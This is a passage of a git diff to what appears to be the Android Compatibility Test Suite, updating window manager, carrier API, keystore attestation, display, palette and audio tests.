+ runWithShellPermission(() -> {
+ mAtm.stopSystemLockTaskMode();
+ });
+ }
+ }
+
private static Activity startNewActivity() {
return startNewActivity(TestActivity.class);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
index 8a68de1..34a16a5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
@@ -30,7 +30,6 @@
import android.os.IBinder;
import android.server.wm.WindowManagerState.WindowContainer;
import android.util.ArrayMap;
-import android.window.TaskFragmentAppearedInfo;
import android.window.TaskFragmentCreationParams;
import android.window.TaskFragmentInfo;
import android.window.TaskFragmentOrganizer;
@@ -259,11 +258,9 @@
}
@Override
- public void onTaskFragmentAppeared(
- @NonNull TaskFragmentAppearedInfo taskFragmentAppearedInfo) {
- super.onTaskFragmentAppeared(taskFragmentAppearedInfo);
- final TaskFragmentInfo info = taskFragmentAppearedInfo.getTaskFragmentInfo();
- mInfos.put(info.getFragmentToken(), info);
+ public void onTaskFragmentAppeared(@NonNull TaskFragmentInfo taskFragmentInfo) {
+ super.onTaskFragmentAppeared(taskFragmentInfo);
+ mInfos.put(taskFragmentInfo.getFragmentToken(), taskFragmentInfo);
mAppearedLatch.countDown();
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
index de323ac..6b8be2d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
@@ -165,9 +165,13 @@
mWmState.waitAndAssertAppFocus(Components.UNRESPONSIVE_ACTIVITY.getPackageName(),
2_000 /* waitTime */);
// queue up enough key events to trigger an ANR
- for (int i = 0; i < 14; i++) {
+ for (int i = 0; i < 20; i++) {
injectKey(KeyEvent.KEYCODE_TAB, false /* longPress */, false /* sync */);
SystemClock.sleep(500);
+ mWmState.computeState();
+ if (!mWmState.isActivityVisible(Components.UNRESPONSIVE_ACTIVITY)) {
+ break;
+ }
}
ensureNoCrashDialog(Components.UNRESPONSIVE_ACTIVITY);
ensureActivityNotFocused(Components.UNRESPONSIVE_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index ada5f83..322355f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -751,6 +751,7 @@
mInstrumentation.sendPointerSync(eventDown);
final ExecutorService executor = Executors.newSingleThreadExecutor();
+ boolean[] securityExceptionCaught = new boolean[1];
executor.execute(() -> {
mInstrumentation.sendPointerSync(eventDown);
for (int i = 0; i < 20; i++) {
@@ -760,7 +761,7 @@
try {
mInstrumentation.sendPointerSync(eventMove);
} catch (SecurityException e) {
- fail("Should be allowed to inject event.");
+ securityExceptionCaught[0] = true;
}
}
});
@@ -772,6 +773,12 @@
executor.shutdown();
executor.awaitTermination(5L, TimeUnit.SECONDS);
+
+ if (securityExceptionCaught[0]) {
+ // Fail the test here instead of in the executor lambda,
+ // so the failure is thrown in the test thread.
+ fail("Should be allowed to inject event.");
+ }
}
private void waitForWindow(String name) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 2b133f4..054da4c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -607,8 +607,10 @@
@Test
public void testInsetsDispatch() throws Exception {
- // Start an activity which hides system bars.
- final TestHideOnCreateActivity activity = startActivity(TestHideOnCreateActivity.class);
+ // Start an activity which hides system bars in fullscreen mode,
+ // otherwise, it might not be able to hide system bars in other windowing modes.
+ final TestHideOnCreateActivity activity = startActivityInWindowingModeFullScreen(
+ TestHideOnCreateActivity.class);
final View rootView = activity.getWindow().getDecorView();
ANIMATION_CALLBACK.waitForFinishing();
PollingCheck.waitFor(TIMEOUT,
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index e37f284..1c2fdf9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -1308,7 +1308,7 @@
*/
protected static class DisableScreenDozeRule implements TestRule {
- /** Copied from android.provider.Settings.Secure since these keys are hiden. */
+ /** Copied from android.provider.Settings.Secure since these keys are hidden. */
private static final String[] DOZE_SETTINGS = {
"doze_enabled",
"doze_always_on",
@@ -1317,7 +1317,8 @@
"doze_pulse_on_double_tap",
"doze_wake_screen_gesture",
"doze_wake_display_gesture",
- "doze_tap_gesture"
+ "doze_tap_gesture",
+ "doze_quick_pickup_gesture"
};
private String get(String key) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
index 39afb54..54c9b3e 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TouchHelper.java
@@ -163,4 +163,11 @@
KeyEvent.ACTION_UP, keyCode, 0 /* repeatCount */);
getInstrumentation().getUiAutomation().injectInputEvent(upEvent, sync);
}
+
+ public void tapOnTaskCenterAsync(WindowManagerState.Task task) {
+ final Rect bounds = task.getBounds();
+ final int x = bounds.left + bounds.width() / 2;
+ final int y = bounds.top + bounds.height() / 2;
+ tapOnDisplay(x, y, task.mDisplayId, false /* sync*/);
+ }
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 0227c3c..a95ea95 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -92,6 +92,7 @@
public class WindowManagerState {
public static final String STATE_INITIALIZING = "INITIALIZING";
+ public static final String STATE_STARTED = "STARTED";
public static final String STATE_RESUMED = "RESUMED";
public static final String STATE_PAUSED = "PAUSED";
public static final String STATE_STOPPED = "STOPPED";
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index 8ce099b..18c6ebf 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -29,7 +29,7 @@
<activity android:name="android.view.inputmethod.cts.util.TestActivity"
android:theme="@style/no_starting_window"
android:label="TestActivity"
- android:configChanges="fontScale"
+ android:configChanges="fontScale|smallestScreenSize|screenSize|screenLayout"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
diff --git a/tests/tests/car/AndroidTest.xml b/tests/tests/car/AndroidTest.xml
index 7b44a58..f3d0aa7 100644
--- a/tests/tests/car/AndroidTest.xml
+++ b/tests/tests/car/AndroidTest.xml
@@ -18,7 +18,7 @@
type="module_controller"/>
<option name="test-suite-tag" value="cts"/>
<option name="config-descriptor:metadata" key="component" value="auto"/>
- <option name="config-descriptor:metadata" key="parameter" value="instant_app"/>
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app"/>
<option name="config-descriptor:metadata" key="parameter" value="multi_abi"/>
<option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index bc813aa..b6ee78c 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -1086,7 +1086,8 @@
try {
// Get all active subscriptions.
List<SubscriptionInfo> activeSubInfos =
- mSubscriptionManager.getActiveSubscriptionInfoList();
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mSubscriptionManager,
+ (sm) -> sm.getActiveSubscriptionInfoList());
List<Integer> activeSubGroup = getSubscriptionIdList(activeSubInfos);
activeSubGroup.removeIf(id -> id == subId);
@@ -1262,13 +1263,17 @@
}
private void removeSubscriptionsFromGroup(ParcelUuid uuid) {
- List<SubscriptionInfo> infoList = mSubscriptionManager.getSubscriptionsInGroup(uuid);
+ List<SubscriptionInfo> infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mSubscriptionManager,
+ (sm) -> (sm.getSubscriptionsInGroup(uuid)));
if (!infoList.isEmpty()) {
List<Integer> subscriptionIdList = getSubscriptionIdList(infoList);
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSubscriptionManager,
(sm) -> sm.removeSubscriptionsFromGroup(subscriptionIdList, uuid));
}
- infoList = mSubscriptionManager.getSubscriptionsInGroup(uuid);
+ infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mSubscriptionManager,
+ (sm) -> (sm.getSubscriptionsInGroup(uuid)));
assertThat(infoList).isEmpty();
}
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 82655e9..8675108 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -23,10 +23,13 @@
import static org.junit.Assert.fail;
-import android.content.ContentResolver;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
-import android.database.ContentObserver;
+import android.location.LocationManager;
import android.os.AsyncTask;
import android.os.Handler;
import android.os.HandlerThread;
@@ -34,7 +37,6 @@
import android.os.Parcel;
import android.os.Process;
import android.os.UserHandle;
-import android.provider.Settings;
import android.telephony.AccessNetworkConstants;
import android.telephony.CellInfo;
import android.telephony.CellInfoGsm;
@@ -475,55 +477,44 @@
private boolean getAndSetLocationSwitch(boolean enabled) {
CountDownLatch locationChangeLatch = new CountDownLatch(1);
- ContentObserver settingsObserver =
- new ContentObserver(mHandler) {
- @Override
- public void onChange(boolean selfChange) {
- locationChangeLatch.countDown();
- super.onChange(selfChange);
- }
- };
+ BroadcastReceiver locationModeChangeReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (LocationManager.MODE_CHANGED_ACTION.equals(intent.getAction())
+ && intent.getBooleanExtra(LocationManager.EXTRA_LOCATION_ENABLED, !enabled)
+ == enabled) {
+ locationChangeLatch.countDown();
+ }
+ }
+ };
- InstrumentationRegistry.getInstrumentation()
- .getUiAutomation()
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
.adoptShellPermissionIdentity();
- ContentResolver contentResolver = getContext().getContentResolver();
try {
- int oldLocationMode =
- Settings.Secure.getInt(
- contentResolver,
- Settings.Secure.LOCATION_MODE,
- Settings.Secure.LOCATION_MODE_OFF);
+ Context context = InstrumentationRegistry.getContext();
+ LocationManager lm = context.getSystemService(
+ LocationManager.class);
+ boolean oldLocationOn = lm.isLocationEnabledForUser(
+ UserHandle.of(UserHandle.myUserId()));
- int locationMode =
- enabled
- ? Settings.Secure.LOCATION_MODE_HIGH_ACCURACY
- : Settings.Secure.LOCATION_MODE_OFF;
- if (locationMode != oldLocationMode) {
- contentResolver.registerContentObserver(
- Settings.Secure.getUriFor(Settings.Secure.LOCATION_MODE),
- false,
- settingsObserver);
- Settings.Secure.putInt(
- contentResolver, Settings.Secure.LOCATION_MODE, locationMode);
+ if (enabled != oldLocationOn) {
+ context.registerReceiver(locationModeChangeReceiver,
+ new IntentFilter(LocationManager.MODE_CHANGED_ACTION));
+ lm.setLocationEnabledForUser(enabled, UserHandle.of(UserHandle.myUserId()));
try {
- assertThat(
- locationChangeLatch.await(
- LOCATION_SETTING_CHANGE_WAIT_MS, TimeUnit.MILLISECONDS))
- .isTrue();
+ assertThat(locationChangeLatch.await(LOCATION_SETTING_CHANGE_WAIT_MS,
+ TimeUnit.MILLISECONDS)).isTrue();
} catch (InterruptedException e) {
- Log.w(
- NetworkScanApiTest.class.getSimpleName(),
+ Log.w(NetworkScanApiTest.class.getSimpleName(),
"Interrupted while waiting for location settings change. Test results"
+ " may not be accurate.");
} finally {
- contentResolver.unregisterContentObserver(settingsObserver);
+ context.unregisterReceiver(locationModeChangeReceiver);
}
}
- return oldLocationMode == Settings.Secure.LOCATION_MODE_HIGH_ACCURACY;
+ return oldLocationOn;
} finally {
- InstrumentationRegistry.getInstrumentation()
- .getUiAutomation()
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
.dropShellPermissionIdentity();
}
}
diff --git a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
index ae3e7cd..a77433f 100644
--- a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java
@@ -31,6 +31,7 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeNotNull;
import android.content.Context;
@@ -38,6 +39,7 @@
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager.NameNotFoundException;
+import android.os.Build;
import android.os.Environment;
import android.os.Parcel;
import android.os.Process;
@@ -291,6 +293,10 @@
@Test
public void testIsProduct() throws Exception {
+ // The product flag is supported since P. Suppose that devices lauch on Android P may not
+ // have product partition.
+ assumeFalse(Build.VERSION.DEVICE_INITIAL_SDK_INT <= Build.VERSION_CODES.P);
+
final String systemPath = Environment.getRootDirectory().getAbsolutePath();
final String productPath = Environment.getProductDirectory().getAbsolutePath();
final String packageName = getPartitionFirstPackageName(systemPath, productPath);
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index 993ec85..8c192e7 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -590,27 +590,29 @@
Display.Mode[] modes = mDefaultDisplay.getSupportedModes();
assumeTrue("Need two or more display modes to exercise switching.", modes.length > 1);
- // Create a deterministically shuffled list of display modes, which ends with the
- // current active mode. We'll switch to the modes in this order. The active mode is last
- // so we don't need an extra mode switch in case the test completes successfully.
- Display.Mode activeMode = mDefaultDisplay.getMode();
- List<Display.Mode> modesList = new ArrayList<>(modes.length);
- for (Display.Mode mode : modes) {
- if (mode.getModeId() != activeMode.getModeId()) {
- modesList.add(mode);
- }
- }
- Random random = new Random(42);
- Collections.shuffle(modesList, random);
- modesList.add(activeMode);
-
try {
mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
mInitialRefreshRateSwitchingType =
DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+
final DisplayTestActivity activity = launchActivity(mRetainedDisplayTestActivity);
+
+ // Create a deterministically shuffled list of display modes, which ends with the
+ // current active mode. We'll switch to the modes in this order. The active mode is last
+ // so we don't need an extra mode switch in case the test completes successfully.
+ Display.Mode activeMode = mDefaultDisplay.getMode();
+ List<Display.Mode> modesList = new ArrayList<>(modes.length);
+ for (Display.Mode mode : modes) {
+ if (mode.getModeId() != activeMode.getModeId()) {
+ modesList.add(mode);
+ }
+ }
+ Random random = new Random(42);
+ Collections.shuffle(modesList, random);
+ modesList.add(activeMode);
+
for (Display.Mode mode : modesList) {
testSwitchToModeId(activity, mode);
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
index ba34269..6149732 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPaletteTest.java
@@ -26,6 +26,7 @@
import android.graphics.cts.utils.Cam;
import android.util.Pair;
+
import androidx.annotation.ColorInt;
import androidx.core.graphics.ColorUtils;
import androidx.test.filters.SmallTest;
@@ -35,15 +36,18 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
+
@SmallTest
@RunWith(AndroidJUnit4.class)
public class SystemPaletteTest {
// Hue goes from 0 to 360
- private static final int MAX_HUE_DISTANCE = 30;
+ private static final int MAX_HUE_DISTANCE = 12;
@Test
public void testShades0and1000() {
@@ -72,16 +76,56 @@
getAllAccent2Colors(context), getAllAccent3Colors(context),
getAllNeutral1Colors(context), getAllNeutral2Colors(context));
+ final float[] tones = {100, 99, 95, 90, 80, 70, 60, 49, 40, 30, 20, 10, 0};
for (int[] palette : allPalettes) {
- for (int i = 3; i < palette.length - 1; i++) {
- assertWithMessage("Color " + Integer.toHexString((palette[i - 1]))
- + " has different hue compared to " + Integer.toHexString(palette[i])
- + " for palette: " + Arrays.toString(palette))
- .that(similarHue(palette[i - 1], palette[i])).isTrue();
+ // Determine the median hue of the palette. Each color in the palette colors will have
+ // its hue measured against the median hue. If the difference is too large, the test
+ // fails.
+ List<Float> hues = new ArrayList<>();
+ for (int i = 0; i < palette.length - 1; i++) {
+ // Avoid measuring hue of colors above 90 or below 10 in tone.
+ //
+ // Converting from HCT to sRGB from display quantizes colors - i.e. not every
+ // HCT color can be expressed in sRGB. As colors approach the extreme tones, white
+ // at 100 and black at 0, hues begin overlapping overlay - made up example: hues
+ // 110 to 128 at tone 95, when mapped to sRGB for display, all end up being measured
+ // as hue 114.
+ final float tone = tones[i];
+ if (tone < 10.0 || tone > 90.0) {
+ continue;
+ }
+ final Cam cam = Cam.fromInt(palette[i]);
+ hues.add(cam.getHue());
+ }
+ Collections.sort(hues);
+ final float medianHue = hues.get(hues.size() / 2);
+
+ // Measure the hue of each color in the palette against the median hue.
+ for (int i = 0; i < palette.length - 1; i++) {
+ final float tone = tones[i];
+ // Skip testing hue of extreme tones, due to overlap due to quantization that occurs
+ // when converting from HCT to sRGB for display.
+ if (tone < 10.0 || tone > 90.0) {
+ continue;
+ }
+ final Cam cam = Cam.fromInt(palette[i]);
+ final float hue = cam.getHue();
+ final boolean hueWithinTolerance = deltaHueWithinTolerance(hue, medianHue);
+ assertWithMessage("Color " + toHctString(cam)
+ + " has different hue compared to median hue " + Math.round(medianHue)
+ + " of palette: " + Arrays.toString(palette))
+ .that(hueWithinTolerance).isTrue();
}
}
}
+ private static String toHctString(Cam cam) {
+ final double[] labColor = new double[3];
+ ColorUtils.colorToLAB(cam.viewedInSrgb(), labColor);
+ return "H" + Math.round(cam.getHue()) + " C" + Math.round(cam.getChroma()) + " T"
+ + Math.round(labColor[0]);
+ }
+
/**
* Compare if color A and B have similar hue, in gCAM space.
*
@@ -89,12 +133,10 @@
* @param colorB Color 2
* @return True when colors have similar hue.
*/
- private boolean similarHue(@ColorInt int colorA, @ColorInt int colorB) {
- final Cam camA = Cam.fromInt(colorA);
- final Cam camB = Cam.fromInt(colorB);
+ private boolean deltaHueWithinTolerance(float hueA, float hueB) {
- float hue1 = Math.max(camA.getHue(), camB.getHue());
- float hue2 = Math.min(camA.getHue(), camB.getHue());
+ float hue1 = Math.max(hueA, hueB);
+ float hue2 = Math.min(hueA, hueB);
float diffDegrees = 180.0f - Math.abs(Math.abs(hue1 - hue2) - 180.0f);
return diffDegrees < MAX_HUE_DISTANCE;
diff --git a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
index 810aebc..b94877f 100644
--- a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
@@ -16,14 +16,15 @@
package android.hardware.cts;
-import static android.os.Build.VERSION;
import static android.os.Build.VERSION_CODES;
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
import android.content.pm.PackageManager;
-import android.os.SystemProperties;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
@@ -47,8 +48,7 @@
@Before
public void setUp() throws Exception {
- final int firstApiLevel =
- SystemProperties.getInt("ro.product.first_api_level", VERSION.SDK_INT);
+ final int firstApiLevel = Math.min(getFirstApiLevel(), getVendorApiLevel());
assumeTrue("Skipping test: it only applies to devices that first shipped with S or later.",
firstApiLevel >= VERSION_CODES.S);
diff --git a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
index 010773f..9b414ff 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
@@ -18,6 +18,7 @@
import android.content.pm.PackageManager;
import android.security.KeyPairGeneratorSpec;
+import android.security.keystore.KeyGenParameterSpec;
import android.security.keystore.KeyProperties;
import android.security.keystore.KeyProtection;
import android.test.AndroidTestCase;
@@ -25,6 +26,8 @@
import android.test.suitebuilder.annotation.LargeTest;
import android.util.Log;
+import org.junit.Assert;
+
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
@@ -61,6 +64,7 @@
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
+import javax.crypto.KeyGenerator;
import javax.crypto.Mac;
import javax.crypto.SecretKey;
import javax.security.auth.x500.X500Principal;
@@ -1775,6 +1779,43 @@
mKeyStore.setEntry(TEST_ALIAS_1, entry, null);
}
+ /*
+ * Replacing an existing secret key with itself should be a no-op.
+ */
+ public void testKeyStore_SetKeyEntry_ReplacedWithSameGeneratedSecretKey()
+ throws Exception {
+ final String plaintext = "My awesome plaintext message!";
+ final String algorithm = "AES/GCM/NoPadding";
+
+ final KeyGenerator generator = KeyGenerator.getInstance("AES", "AndroidKeyStore");
+ final KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(TEST_ALIAS_1,
+ KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
+ .setKeySize(256)
+ .setBlockModes(KeyProperties.BLOCK_MODE_GCM)
+ .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
+ .build();
+ generator.init(spec);
+ final SecretKey key = generator.generateKey();
+
+ Cipher cipher = Cipher.getInstance(algorithm);
+ cipher.init(Cipher.ENCRYPT_MODE, key);
+ AlgorithmParameters params = cipher.getParameters();
+ final byte[] ciphertext = cipher.doFinal(plaintext.getBytes());
+
+ mKeyStore.load(null, null);
+
+ // This should succeed.
+ mKeyStore.setKeyEntry(TEST_ALIAS_1, key, null, null);
+ // And it should not change the key under TEST_ALIAS_1. And what better way to test
+ // then to use it on some cipher text generated with that key.
+ final Key key2 = mKeyStore.getKey(TEST_ALIAS_1, null);
+ cipher = Cipher.getInstance(algorithm);
+ cipher.init(Cipher.DECRYPT_MODE, key2, params);
+ byte[] plaintext2 = cipher.doFinal(ciphertext);
+ Assert.assertArrayEquals("The plaintext2 should match the original plaintext.",
+ plaintext2, plaintext.getBytes());
+ }
+
public void testKeyStore_Size_Unencrypted_Success() throws Exception {
mKeyStore.load(null, null);
diff --git a/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
index 9101f3b..caa18a0 100644
--- a/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/AttestationPerformanceTest.java
@@ -35,6 +35,10 @@
};
public void testRsaKeyAttestation() throws Exception {
+ if (!TestUtils.isAttestationSupported()) {
+ return;
+ }
+
for (byte[] challenge : ATTESTATION_CHALLENGES) {
for (int keySize : RSA_KEY_SIZES) {
measure(new KeystoreAttestationMeasurable(
@@ -45,6 +49,10 @@
}
public void testEcKeyAttestation() throws Exception {
+ if (!TestUtils.isAttestationSupported()) {
+ return;
+ }
+
for (byte[] challenge : ATTESTATION_CHALLENGES) {
for (int curve : EC_CURVES) {
measure(new KeystoreAttestationMeasurable(
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 5a3b712..85de847 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -159,6 +159,10 @@
@RequiresDevice
public void testEcAttestation() throws Exception {
+ if (!TestUtils.isAttestationSupported()) {
+ return;
+ }
+
if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
return;
@@ -212,6 +216,10 @@
}
public void testEcAttestation_TooLargeChallenge() throws Exception {
+ if (!TestUtils.isAttestationSupported()) {
+ return;
+ }
+
boolean[] devicePropertiesAttestationValues = {true, false};
for (boolean devicePropertiesAttestation : devicePropertiesAttestationValues) {
try {
@@ -266,6 +274,10 @@
@RestrictedBuildTest
@RequiresDevice
public void testEcAttestation_DeviceLocked() throws Exception {
+ if (!TestUtils.isAttestationSupported()) {
+ return;
+ }
+
if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
return;
@@ -426,6 +438,10 @@
@RequiresDevice
public void testRsaAttestation() throws Exception {
+ if (!TestUtils.isAttestationSupported()) {
+ return;
+ }
+
if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
return;
@@ -488,6 +504,10 @@
}
public void testRsaAttestation_TooLargeChallenge() throws Exception {
+ if (!TestUtils.isAttestationSupported()) {
+ return;
+ }
+
boolean[] devicePropertiesAttestationValues = {true, false};
for (boolean devicePropertiesAttestation : devicePropertiesAttestationValues) {
try {
@@ -542,6 +562,10 @@
@RestrictedBuildTest
@RequiresDevice // Emulators have no place to store the needed key
public void testRsaAttestation_DeviceLocked() throws Exception {
+ if (!TestUtils.isAttestationSupported()) {
+ return;
+ }
+
if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
return;
diff --git a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
index aeb3ad6..4efa171 100644
--- a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
+++ b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
@@ -19,6 +19,7 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.content.pm.FeatureInfo;
+import android.os.Build;
import android.os.SystemProperties;
import android.security.keystore.KeyGenParameterSpec;
import android.security.keystore.KeyInfo;
@@ -1080,4 +1081,8 @@
new SecureRandom().nextBytes(message);
return message;
}
+
+ public static boolean isAttestationSupported() {
+ return Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.O;
+ }
}
diff --git a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
index 634ec56..178b426 100644
--- a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
+++ b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
@@ -21,6 +21,7 @@
import android.support.test.uiautomator.UiDevice;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CddTest;
import com.google.common.base.Strings;
import org.junit.After;
@@ -126,6 +127,7 @@
*
* @throws Exception
*/
+ @CddTest(requirement="7.3.6")
@Test
public void testGetThermalHeadroom() throws Exception {
final String failureMessage = nativeTestGetThermalHeadroom();
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index d179c5a..8065633 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -3367,6 +3367,122 @@
}
}
+ /**
+ * Test AudioTrack Builder error handling.
+ *
+ * @throws Exception
+ */
+ @Test
+ public void testAudioTrackBuilderError() throws Exception {
+ if (!hasAudioOutput()) {
+ return;
+ }
+
+ final AudioTrack[] audioTrack = new AudioTrack[1]; // pointer to audio track.
+ final int BIGNUM = Integer.MAX_VALUE; // large value that should be invalid.
+ final int INVALID_SESSION_ID = 1024; // can never occur (wrong type in 3 lsbs)
+ final int INVALID_CHANNEL_MASK = -1;
+
+ try {
+ // NOTE:
+ // Tuner Configuration builder error tested in testTunerConfiguration (same file).
+ // AudioAttributes tested in AudioAttributesTest#testAudioAttributesBuilderError.
+ // AudioFormat tested in AudioFormatTest#testAudioFormatBuilderError.
+
+ // We must be able to create the AudioTrack.
+ audioTrack[0] = new AudioTrack.Builder().build();
+ audioTrack[0].release();
+
+ // Out of bounds buffer size. A large size will fail in AudioTrack creation.
+ assertThrows(UnsupportedOperationException.class, () -> {
